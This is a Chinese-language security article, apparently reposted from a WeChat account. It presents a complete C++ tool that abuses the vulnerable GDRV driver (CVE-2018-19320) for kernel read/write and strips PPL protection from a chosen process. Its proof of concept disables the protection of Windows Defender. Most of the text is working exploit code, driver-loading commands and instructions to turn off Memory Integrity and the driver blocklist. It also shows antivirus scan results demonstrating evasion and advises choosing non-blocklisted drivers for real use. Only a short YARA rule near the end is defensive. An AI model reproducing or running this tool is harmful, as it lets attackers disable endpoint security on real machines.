2026-05-14 13:35:13 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档详细介绍了利用存在漏洞的合法驱动程序BYOVD技术，通过加载GDRV驱动获取内核读写权限，进而修改EPROCESS结构禁用WindowsPPL保护。核心步骤包括加载驱动、启用SeDebugPrivilege权限、解析内核偏移量、定位目标进程和修改保护字段。文档提供了完整的C++代码实现示例，并指出需先禁用内存完整性保护等安全措施。 综合评分： 72 文章分类： 恶意软件,漏洞分析,红队,内网渗透,免杀

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利用存在漏洞的驱动程序 BYOVD 获取任意内核读/写权限并绕过 PPL 保护

Ots安全

2026年5月7日 13:59 广东

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威胁简报

恶意软件

漏洞攻击

这项技术背后的原理很简单。我们不直接利用内核漏洞，而是将一个合法但存在漏洞的驱动程序加载到系统中。这个驱动程序使我们能够读写内核空间中的内存。

利用这些任意内核读/写原语，我们可以修改操作系统中的敏感结构。在本例中，我们将使用它们来禁用目标进程的PPL保护，从而允许我们与这些进程进行交互。

以下是一些讨论和探讨 PPL 保护机制的帖子列表：

Windows PPL规避

https://medium.com/@s12deff/list/windows-ppl-evasion-dd598b2c8d28

方法论

接下来，我们将在不查看完整代码的情况下解释其逻辑。这有助于在烹饪之前理解整个流程。

要使用具有任意内核读/写权限的 BYOVD 实现 PPL 绕过，我们需要遵循以下逻辑步骤：

步骤 1：加载易受攻击的驱动程序

首先，我们需要在系统中加载并启动存在漏洞的驱动程序。这是该技术的核心，因为它使我们能够通过暴露的 IOCTL 或不安全的功能访问内核内存。

步骤二：启用所需权限

驱动程序加载完毕后，我们需要为当前进程启用SeDebugPrivilege权限。这非常重要，因为它允许我们不受限制地与受保护的系统进程进行交互。

步骤 3：解析内核信息

接下来，我们需要收集关键内核信息，包括：

获取ntoskrnl.exe的基地址
识别重要的结构偏移量（通常是针对目标操作系统版本硬编码的）

这一步骤至关重要，因为我们需要精确的内存位置才能安全地执行内核读/写操作。

步骤 4：定位目标流程（EPROCESS）

获取内核基址和偏移量后，我们需要找到目标进程的EPROCESS结构。这一点至关重要，因为 PPL 保护是通过该结构中的字段来强制执行的。

步骤 5：修改保护措施（禁用 PPL）

通过对目标进程的任意内核读/写访问权限，我们可以直接修改保护字段。通过更改这些值，我们实际上禁用了目标进程的 PPL 保护，从而允许完全访问。

最终状态

最后，目标进程不再受 PPL 保护，我们可以自由地与其交互（例如，打开句柄、读/写内存、注入代码等）。

Userland Process        │        ▼Load Vulnerable Driver (BYOVD)        │        ▼Gain Kernel R/W        │        ▼Locate ntoskrnl + EPROCESS        │        ▼Modify Protection Fields        │        ▼PPL Disabled

执行

现在，我们来看看如何将这个逻辑转换成 C++ 代码。我已经把最重要的部分分解开了。

加载易受攻击的驱动程序

在这种情况下，我们使用了与上一篇文章中相同的易受攻击的驱动程序，即名为GDRV 的驱动程序，该驱动程序在CVE-2018-19320中被利用。

您可以点击以下链接直接从LolDrivers网站下载驱动程序：

https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

要加载此驱动程序，您需要禁用Windows 内存完整性保护和Microsoft易受伤害的驱动程序黑名单，两者都是内核隔离安全功能的一部分（或者使用未被列入黑名单的驱动程序）。

要加载驱动程序，请记住，您可以使用 C++ 代码，或者仅用于测试，请以管理员身份在 CMD 中运行该命令：

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type =kernel && sc.exe start gdrv.sys

启用所需权限

用于获取SeDebugPrivilege 的代码是以下这种典型代码，因此您需要管理员权限才能运行该程序：

BOOL EnableSeDebugPrivilege(){ HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {  std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;  return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {  std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;  CloseHandle(hToken);  return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {  std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;  CloseHandle(hToken);  return FALSE; } CloseHandle(hToken); return TRUE;}

解析内核信息

然后我们需要解决两个不同的信息：

内核偏移量
nsoskrnl.exe 基地址

我们先从内核偏移量开始：

在我们的例子中，我们只是将其硬编码，在实际生产操作中，您需要从互联网符号参考中解析信息，或者直接在您的项目中硬编码所有 Windows 版本所需的信息。

就我而言，硬编码的那些是：

struct offsets { ULONG64 ActiveProcessLinks; ULONG64 UniqueProcessId; ULONG64 Protection; ULONG64 PsLoadedModuleList; ULONG64 PsInitialSystemProcess;} g_offsets = { 0x1d8, // ActiveProcessLinks (Inspect the dt nt!_EPROCESS) 0x1d0, // UniqueProcessId (Inspect the dt nt!_EPROCESS) 0x5fa, // Protection (Inspect the dt nt!_EPROCESS) 0xEF50C0, // PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt) 0xFC5ab0  // PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)};

在上一篇文章中，您可以找到更多关于从EPROCESS 获取偏移量的信息。

现在，让我们获取nsoskrnl.exe的基地址：

为此，我们只需要列出所有驱动程序，搜索ntoskrnl.exe并获取其基本地址：

列出Drivers：

std::vector<KernelDriver> GetSortedKernelDrivers() { std::vector<KernelDriver> driverList;
 auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(  GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
 if (!NtQuerySystemInformation) return driverList;
 ULONG len = 0; const int SystemModuleInformation = 11;
 NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
 std::vector<BYTE> buffer(len); NTSTATUS status = NtQuerySystemInformation(  (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,  buffer.data(),  len,  &len );
 if (status != 0) return driverList; // STATUS_SUCCESS = 0
 auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
 for (ULONG i = 0; i < mods->Count; i++) {  SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
  KernelDriver drv;  drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);  drv.Size = entry.ImageSize;
  const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;  drv.Name = std::string(nameStart);
  driverList.push_back(drv); }
 std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {  return a.BaseAddress < b.BaseAddress;  });
 return driverList;}

此函数用于NtQuerySystemInformation检索所有已加载内核驱动程序的列表，并将它们的基本地址、大小和名称提取到一个向量中。最后，它按基本地址对驱动程序进行排序，这有助于识别ntoskrnl.exe模块。

然后我们将司机列表发送到以下函数：

DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {  if (drivers.empty()) {   return  0 ; }
 for (const auto& drv : drivers) {   std::string nameLower = drv.Name;   std::transform(nameLower. begin (), nameLower. end (), nameLower. begin (), : :tolower );
  if (nameLower.find( "ntoskrnl.exe" ) != std::string::npos | |    nameLower.find( "ntkrnl" ) != std::string::npos) {    return ( DWORD64 )drv.BaseAddress;   } }
 return  0 ; }

此函数遍历驱动程序列表，查找ntoskrnl.exe（或ntkrnl），并在找到后返回其基地址。

定位目标流程（EPROCESS）

然后我们调用 getEPROCESS 函数，将易受攻击的驱动程序句柄、ntoskrnl.exe的基地址和目标进程 ID发送给它。

DWORD64  eprocess  = getEPROCESS(drv, ntoskrnlBase, pid);

在函数内部，我们执行以下步骤：

使用以下命令获取系统进程（PID 4）的EPROCESS结构PsInitialSystemProcess
使用此ActiveProcessLinks字段访问进程的链表。
使用Flink（前向链接）遍历列表，以移动到下一个 EPROCESS。
重复此过程，直到找到目标PID。

这个函数之所以有效，是因为 Windows 中所有的EPROCESS结构都通过一个双向链表链接在一起。我们从系统进程（PID 4）ActiveProcessLinks开始，因为始终可以通过该字段访问，所以我们可以沿着Flink（前向链接）指针从一个进程跳转到下一个进程。PsInitialSystemProcess

DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid){ if (ntoskrnlBase == 0) {  std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;  return 0; }
 DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;  // Get EPROCESS of the System process (PID 4) cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
 getchar(); // Open Driver
 getchar(); // Read Primitive to get EPROCESS structure from System Process DWORD64 systemEPROCESS = 0; BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64)); cout << "System EPROCESS: " << systemEPROCESS << endl;

 // Make sure that the EPROCESS is not from the PID 4 (System) DWORD systemPid = 0; BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD)); cout << "System PID: " << systemPid << endl; if (systemPid == pid) {  return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it }
 // Walk through the whole list DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks; cout << "headList address :" << headList << endl;
 // Get first process DWORD64 firstProcess = 0; BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64)); if (!readFirstResult) {  cout << "Failed getting first process" << endl; }  cout << "First Flink: " << firstProcess << endl;

 DWORD64 currentProcess = firstProcess; int counter = 0; getchar(); cout << "Starting while " << endl; while (currentProcess != headList && counter < 5000) {  counter++;
  DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;  cout << "Checking EPROCESS " << eprocess << endl;
  // Read PID  DWORD currentPid = 0;  BOOL readPIDResult = ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));  if (!readPIDResult) {   cout << "Error getting current PID " << endl;  }  cout << "Current PID " << currentPid << endl;
  if (currentPid == pid) {   cout << "Correct EPROCESS Found " << endl;   return eprocess;  }
  // Read next one  DWORD64 nextProcess = 0;  BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));  if (!readNextResult) {   cout << "Error getting next result " << endl;  }
  currentProcess = nextProcess; }
 cout << "PID Not found after checking all processes " << endl; return 0; }

修改保护（禁用 PPL）

当我们有了目标进程的 EPROCESS 结构时，就可以用第一个发现的偏移量写保护结构值：

BOOL disablePPL(HANDLE drv, DWORD64 eprocess) { // Offsets relative to the Protection field in EPROCESS // SignatureLevel        = Protection - 2 // SectionSignatureLevel = Protection - 1 // Protection            = Protection
 DWORD64 ppl = eprocess + g_offsets.Protection; BYTE zero = 0;
 DWORD value = 0; BOOL firstWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 2), &zero, sizeof(BYTE)); if (!firstWritePPL) {  cout << "First error writing the PPL " << endl;  return false; }
 getchar();
 BOOL secondWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 1), &zero, sizeof(BYTE)); if (!secondWritePPL) {  cout << "Second error writing the PPL " << endl;  return false; }
 getchar();

 // Write Protection BOOL writePPL = WritePrimitive(drv, (LPVOID)ppl, &zero, sizeof(BYTE)); if (!writePPL) {  cout << "Error writing the PPL " << endl;  return false; } cout << "Successfully removed PPL" << endl; return true;}

在这个函数中，我们使用内核写入原语直接修改目标进程EPROCESS结构体中与保护相关的字段。通过将 <protection\_field>、<protection\_field> 和 <protection\_field> 的值覆盖SignatureLevel为零SectionSignatureLevel，Protection我们有效地移除了 PPL 限制，使进程不再受保护 😉

代码

让我们来查看完整的代码，这里有两个不同的文件：

main.cpp

#include <Windows.h>#include <winternl.h>#include <vector>#include <string>#include <algorithm>#include <iostream>#include "DriverOps.h"
using namespace std;
typedef struct _SYSTEM_MODULE_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_ENTRY Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
struct KernelDriver { std::string Name; uintptr_t BaseAddress; uint32_t Size;};
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
// 1- Enable SeDebugPrivilege for the current process// 2- Get offsets (hardcoded)// 3- List all drivers// 4- Get ntoskrnl.exe address// 5- Get EPROCESS of the target process// 6- Disable PPL
struct offsets { ULONG64 ActiveProcessLinks; ULONG64 UniqueProcessId; ULONG64 Protection; ULONG64 PsLoadedModuleList; ULONG64 PsInitialSystemProcess;} g_offsets = { 0x1d8, // ActiveProcessLinks 0x1d0, // UniqueProcessId 0x5fa, // Protection 0xEF50C0, // PsLoadedModuleList (ntoskrnl.exe base address - PsLoadedModuleList = ? nt!PsLoadedModuleList - nt) 0xFC5ab0  // PsInitialSystemProcess (ntoskrnl.exe base address - PsInitialSystemProcess = ? nt!PsInitialSystemProcess - nt)};
std::vector<KernelDriver> GetSortedKernelDrivers() { std::vector<KernelDriver> driverList;
 auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(  GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
 if (!NtQuerySystemInformation) return driverList;
 ULONG len = 0; const int SystemModuleInformation = 11;
 NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
 std::vector<BYTE> buffer(len); NTSTATUS status = NtQuerySystemInformation(  (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,  buffer.data(),  len,  &len );
 if (status != 0) return driverList; // STATUS_SUCCESS = 0
 auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
 for (ULONG i = 0; i < mods->Count; i++) {  SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
  KernelDriver drv;  drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);  drv.Size = entry.ImageSize;
  const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;  drv.Name = std::string(nameStart);
  driverList.push_back(drv); }
 std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {  return a.BaseAddress < b.BaseAddress;  });
 return driverList;}
DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) { if (drivers.empty()) {  return 0; }
 for (const auto& drv : drivers) {  std::string nameLower = drv.Name;  std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
  if (nameLower.find("ntoskrnl.exe") != std::string::npos ||   nameLower.find("ntkrnl") != std::string::npos) {   return (DWORD64)drv.BaseAddress;  } }
 return 0;}
DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid){ if (ntoskrnlBase == 0) {  std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;  return 0; }
 DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;  // Get EPROCESS of the System process (PID 4) cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;
 getchar(); // Open Driver
 getchar(); // Read Primitive to get EPROCESS structure from System Process DWORD64 systemEPROCESS = 0; BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64)); cout << "System EPROCESS: " << systemEPROCESS << endl;

 // Make sure that the EPROCESS is not from the PID 4 (System) DWORD systemPid = 0; BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD)); cout << "System PID: " << systemPid << endl; if (systemPid == pid) {  return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it }
 // Walk through the whole list DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks; cout << "headList address :" << headList << endl;
 // Get first process DWORD64 firstProcess = 0; BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64)); if (!readFirstResult) {  cout << "Failed getting first process" << endl; }  cout << "First Flink: " << firstProcess << endl;

 DWORD64 currentProcess = firstProcess; int counter = 0; getchar(); cout << "Starting while " << endl; while (currentProcess != headList && counter < 5000) {  counter++;
  DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;  cout << "Checking EPROCESS " << eprocess << endl;
  // Read PID  DWORD currentPid = 0;  BOOL readPIDResult = ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));  if (!readPIDResult) {   cout << "Error getting current PID " << endl;  }  cout << "Current PID " << currentPid << endl;
  if (currentPid == pid) {   cout << "Correct EPROCESS Found " << endl;   return eprocess;  }
  // Read next one  DWORD64 nextProcess = 0;  BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));  if (!readNextResult) {   cout << "Error getting next result " << endl;  }
  currentProcess = nextProcess; }
 cout << "PID Not found after checking all processes " << endl; return 0; }
BOOL disablePPL(HANDLE drv, DWORD64 eprocess) { // Offsets relative to the Protection field in EPROCESS // SignatureLevel        = Protection - 2 // SectionSignatureLevel = Protection - 1 // Protection            = Protection
 DWORD64 ppl = eprocess + g_offsets.Protection; BYTE zero = 0;
 DWORD value = 0; BOOL firstWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 2), &zero, sizeof(BYTE)); if (!firstWritePPL) {  cout << "First error writing the PPL " << endl;  return false; }
 getchar();
 BOOL secondWritePPL = WritePrimitive(drv, (LPVOID)(ppl - 1), &zero, sizeof(BYTE)); if (!secondWritePPL) {  cout << "Second error writing the PPL " << endl;  return false; }
 getchar();

 // Write Protection BOOL writePPL = WritePrimitive(drv, (LPVOID)ppl, &zero, sizeof(BYTE)); if (!writePPL) {  cout << "Error writing the PPL " << endl;  return false; } cout << "Successfully removed PPL" << endl; return true;}

BOOL EnableSeDebugPrivilege(){ HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {  std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;  return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {  std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;  CloseHandle(hToken);  return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {  std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;  CloseHandle(hToken);  return FALSE; } CloseHandle(hToken); return TRUE;}

int main(int argc, char* argv[]){ DWORD pid = 0; if(argc > 1) {  pid = atoi(argv[1]); } else {  std::cout << "Usage: PPLDisableFromRWKernel.exe <PID>" << std::endl;  return 1; }
 // 1. Enable SeDebugPrivilege for the current process BOOL setPriv = EnableSeDebugPrivilege();
 // 2. Get offsets (hardcoded)
 // 3. List all drivers vector<KernelDriver> drivers = GetSortedKernelDrivers();
 // 4. Get ntoskrnl.exe address DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers); cout << "NTOSKRNL Base address " << ntoskrnlBase << endl; getchar();
 HANDLE drv = openVulnDriver();
 // 5. Get EPROCESS of the target process DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid); cout << "EPROCESS " << eprocess << endl; getchar();
 if (eprocess) {  // 6- Disable PPL  BOOL finalDisable = disablePPL(drv, eprocess);  if (finalDisable) {   cout << "[!] PPL Protection removed !" << endl;   return 0;  } } return 0;}

DriverOps.h（来自上一篇文章）

#include <iostream>#include <Windows.h>
// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
#define IOCTL_READWRITE_PRIMITIVE 0xC3502808
using namespace std;
typedef struct KernelWritePrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelWritePrimitive;
typedef struct KernelReadPrimitive { LPVOID dst; LPVOID src; DWORD size;} KernelReadPrimitive;
BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelWritePrimitive kwp; kwp.dst = dst; kwp.src = src; kwp.size = size;
 BYTE bufferReturned[48] = { 0 }; DWORD returned = 0; BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr); if (!result) {  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;  return FALSE; } cout << "Write primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}
BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) { KernelReadPrimitive krp; krp.dst = dst; krp.src = src; krp.size = size;

 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr); if (!result) {  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;  return FALSE; } cout << "Read primitive sent successfully. Bytes returned: " << returned << endl; return TRUE;}
HANDLE openVulnDriver() { HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); if (!driver || driver == INVALID_HANDLE_VALUE) {  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;  return NULL; } return driver;}

概念验证

Windows 11：

我们先来测试一下代码，确保服务正在运行：

sc start gdrv

然后只需以管理员身份从CMD 或 PowerShell 控制台执行即可：

Checking EPROCESS 18446614925235277952Read primitive sent successfully. Bytes returned: 0Current PID 3412Read primitive sent successfully. Bytes returned: 0Checking EPROCESS 18446614925235253376Read primitive sent successfully. Bytes returned: 0Current PID 3432Correct EPROCESS FoundEPROCESS 18446614925235253376
Disable PPL
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0Successfully removed PPL[!] PPL Protection removed !

Windows Defender 已不再受保护：

检测

现在需要检查防御系统是否将.exe文件检测为恶意威胁。如果驱动程序被检测为恶意，则需要使用另一个未被列入黑名单的易受攻击的驱动程序，如下所示：

Kleenscan

Alyac: UndetectedAmiti: UndetectedArcabit: UndetectedAvast: UndetectedAVG: UndetectedAvira: UndetectedBullguard: UndetectedClamAV: UndetectedComodo Linux: UndetectedCrowdstrike Falcon: UndetectedDrWeb: UndetectedEmsisoft: PendingeScan: UndetectedF-Prot: UndetectedF-Secure: UndetectedG Data: UndetectedIKARUS: UndetectedImmunet: UndetectedKaspersky: Scan failedMax Secure: UndetectedMcAfee: UndetectedMicrosoft Defender: Trojan:Win32/Sabsik.RD.A!mlNANO: UndetectedNOD32: UndetectedNorman: UndetectedSecureAge APEX: UnknownSeqrite: UndetectedSophos: UndetectedThreatdown: UndetectedTrendMicro: UndetectedVba32: UndetectedVirusFighter: UndetectedXvirus: UndetectedZillya: UndetectedZonealarm: UndetectedZoner: Undetected

Litterbox

ThreatCheck

ThreatCheck.exe -f Z:\PPLDisableFromRWKernel.exe[+] No threat found![*] Run time: 0.81s

Windows Defender

检测到驱动程序存在漏洞，但未检测到 .exe 文件为恶意软件。

Kaspersky Free AV

Static .exe analysis:

Instant File Analysis
    Status: Completed less than a minute ago
    Duration: 0 seconds
    Objects scanned: 2
    No threats have been detected

Bitdefender Free AV

Static .exe

YARA

rule BYOVD_KernelRW_PPL_Bypass_Generic{    meta:        author = "0x12 Dark Development"        description = "Detects potential BYOVD usage with kernel R/W primitives targeting PPL bypass"        date = "2026-03-18"        reference = "Generic detection for vulnerable driver abuse and PPL tampering"
    strings:        // Native API usage for driver/module enumeration        $ntquery = "NtQuerySystemInformation" ascii wide        $sysinfo_class = "SystemModuleInformation" ascii wide
        // Kernel / driver related indicators        $ntdll = "ntdll.dll" ascii wide        $device = "\\\\.\\ " ascii wide nocase        $ioctl = "DeviceIoControl" ascii wide
        // Common kernel structures / targets        $eprocess = "EPROCESS" ascii wide nocase        $protection = "Protection" ascii wide nocase        $siglevel = "SignatureLevel" ascii wide nocase
        // Privilege escalation / debugging        $sedebug = "SeDebugPrivilege" ascii wide
        // Typical kernel primitives naming (generic, not exact)        $read = "ReadPrimitive" ascii wide nocase        $write = "WritePrimitive" ascii wide nocase
        // Kernel base / ntoskrnl hunting        $ntos = "ntoskrnl.exe" ascii wide nocase        $psinit = "PsInitialSystemProcess" ascii wide        $psloaded = "PsLoadedModuleList" ascii wide
    condition:        // Require a combination of behaviors, not just one indicator        (            $ntquery and $sysinfo_class and            2 of ($ntos, $psinit, $psloaded)        )        and        (            $ioctl or $device        )        and        (            2 of ($eprocess, $protection, $siglevel)        )        and        (            $write or $read        )}

结论

本文探讨了如何利用 BYOVD 通过任意内核读/写原语绕过 PPL 保护，直接修改EPROCESS目标进程的结构。通过将易受攻击的驱动程序与对内核的精细操作相结合PsInitialSystemProcess，我们成功地将 <path>、<name> 和<name> 字段ActiveProcessLinks清零，从而完全移除了 PPL 限制。SignatureLevelSectionSignatureLevelProtection

如检测部分所示，该技术本身基本不会被大多数防病毒引擎检测到，但驱动程序的情况则有所不同——选择一个未被列入黑名单的驱动程序对于实际使用至关重要。

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本文转载自：Ots安全《利用存在漏洞的驱动程序 BYOVD 获取任意内核读/写权限并绕过 PPL 保护》